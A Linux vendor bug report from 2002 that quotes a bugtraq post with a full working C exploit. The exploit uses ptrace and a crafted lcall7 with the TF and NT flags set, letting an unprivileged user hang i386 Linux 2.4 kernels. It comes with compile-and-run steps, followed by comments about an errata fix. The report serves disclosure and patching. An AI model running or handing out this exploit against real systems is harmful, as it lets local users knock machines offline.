Description of Problem: As was posted on the bugtraq[@securityfocus.com] mailing list: " From: Christophe Devine <DEVINE.fr> To: bugtraq Date: Wed, 13 Nov 2002 00:59:09 +0000 Subject: Re: i386 Linux kernel DoS On Wed, 13 Nov 2002, Stefan Laudat wrote: > Regarding this issue: is it 80x86 or specifically 80386 designed ? > Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :( Yep; the first version of the DoS I posted on bugtraq was defective and worked only under special conditions (inside gdb for example). However this updated version works much better: #include <sys/ptrace.h> struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; }; int main( void ) { int pid; char dos[] = "\x9A\x00\x00\x00\x00\x07\x00"; void (* lcall7)( void ) = (void *) dos; struct user_regs_struct d; if( ! ( pid = fork() ) ) { usleep( 1000 ); (* lcall7)(); } else { ptrace( PTRACE_ATTACH, pid, 0, 0 ); while( 1 ) { wait( 0 ); ptrace( PTRACE_GETREGS, pid, 0, &d ); d.eflags |= 0x4100; /* set TF and NT */ ptrace( PTRACE_SETREGS, pid, 0, &d ); ptrace( PTRACE_SYSCALL, pid, 0, 0 ); } } return 1; } At the beginning I thought only kernels <= 2.4.18 were affected; but it appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well. The flaw seems to be related to the kernel's handling of the nested task (NT) flag inside a lcall7. -- Christophe Devine " This exploit compiles and works on my up2date-ed system with the latest kernel. Version-Release number of selected component (if applicable): kernel-2.4.18-17.8.0 How Reproducible: Always Steps to Reproduce: 1. Save exploit to verybad.c 2. gcc verybad.c -o crash 3. ./crash Actual Results: System unresponsive, although pingable. Expected Results: Segmentation fault or something. Additional Information:
yes we know about this; I built packages yesterday and they're in QA now
An errata has been issued which should help the problem described in this bug report. This report is therefore being closed with a resolution of ERRATA. For more information on the solution and/or where to find the updated files, please follow the link below. You may reopen this bug report if the solution does not work for you. http://rhn.redhat.com/errata/RHSA-2002-262.html
This bug affect RedHat Linux 6.2 as well. I ran the program above on an up-to- date RH6.2 box, as an unprivilegied user, and the box totally hang.